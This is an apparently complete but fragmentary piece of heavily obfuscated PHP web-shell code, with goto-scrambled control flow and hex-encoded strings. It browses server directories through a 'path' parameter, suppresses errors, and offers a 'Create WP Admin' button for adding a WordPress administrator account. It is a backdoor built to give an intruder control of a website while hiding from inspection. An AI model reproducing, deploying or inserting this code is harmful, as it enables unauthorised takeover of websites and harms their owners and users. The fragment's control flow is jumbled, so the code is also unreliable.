goto i94GM; J1tM9: if (is_dir($GEE7o)) { goto p8T4r; } goto Vqnji; f1VYd: LZe85: goto GQfyj; vwjVf: $GEE7o = "{$DoOOs}\x2f{$ifSRM}"; goto J1tM9; PJmRo: ptTwv: goto vwjVf; i94GM: goto FgILd; goto x5tD8; ihpL5: $oneTR[] = $ifSRM; goto Etv7b; DRcpL: if (!($ifSRM === "\56" || $ifSRM === "\x2e\x2e")) { goto ptTwv; } goto VfBg8; VfBg8: goto LZe85; goto PJmRo; Etv7b: FgILd: goto f1VYd; x5tD8: p8T4r: goto ihpL5; GQfyj: } goto jVzrH; MdPtR: natcasesort($oneTR); goto CTtpB; ONq29: } goto B5b8G; c1sYz: error_reporting(0); goto H8uvx; Gu1nl: if (!isset($_GET["\x76\x69\x65\x77"])) { goto Bcm2_; } goto x1oUb; gSPFj: echo "\x3c\x66\x6f\162\155\x20\x6d\x65\164\150\x6f\144\x3d\47\147\145\x74\x27\x3e\x20\xd\xa\74\x69\156\160\x75\164\x20\164\171\x70\145\x3d\x27\x68\151\x64\144\x65\156\x27\x20\156\141\155\x65\x3d\47\x70\x61\164\150\47\40\x76\141\x6c\165\x65\75\x27" . htmlspecialchars($DoOOs) . "\47\x3e\x20\xd\xa\x3c\x62\x75\x74\x74\x6f\156\40\156\141\155\145\x3d\47\143\x72\x65\141\x74\x65\x5f\167\160\137\x75\163\145\162\47\x20\x76\141\154\165\x65\x3d\47\x31\x27\76\360\x9f\x91\244\40\103\x72\145\x61\164\x65\40\127\x50\40\101\144\155\x69\156\x3c\57\x62\165\x74\164\x6f\x6e\x3e\40\xd\12\74\x2f\146\157\x72\155\76\74\142\x72\76"; goto nZ8S2; ncKzW: Bcm2_: goto o9euX; y27TE: Q0Gow: goto REetB; nGc9A: goto dk4zU; goto OI7c2; mjn23: function vcjpU($DoOOs) { goto hbBBN; hbBBN: $kJtS6 = explode("\x2f", trim($DoOOs, "\x2f")); goto e0fo_; K463A: foreach ($kJtS6 as $VhSXa) { goto EGWqo; hqRRx: ZjNIv: goto idMe2; EGWqo: $vk6kB .= "{$VhSXa}\x2f"; goto asX5l; asX5l: $LcCuV .= "\x3c\141\40\x68\x72\x65\146\x3d\x27\77\x70\141\x74\x68\75" . urlencode($vk6kB) . "\x27\x3e{$VhSXa}\74\x2f\141\x3e\57"; goto hqRRx; idMe2: } goto dj1HU; dj1HU: m1v6w: goto ZhrCB; NbCk5: $LcCuV = "\74\x73\164\x72\x6f\x6e\147\x3e\103\165\162\162\145\156\164\40\x70\x61\x74\150\x3a\74\x2f\x73\164\x72\157\156\x67\x3e\x20"; goto K463A; ZhrCB: return $LcCuV; goto vQ7Lr; e0fo_: $vk6kB = "\57"; goto NbCk5; vQ7Lr: } goto KYTtp; fM2wD: echo "\x3c\x2f\x62\x6f\x64\x79\76\x3c\57\x68\164\x6d\154\76"; ?>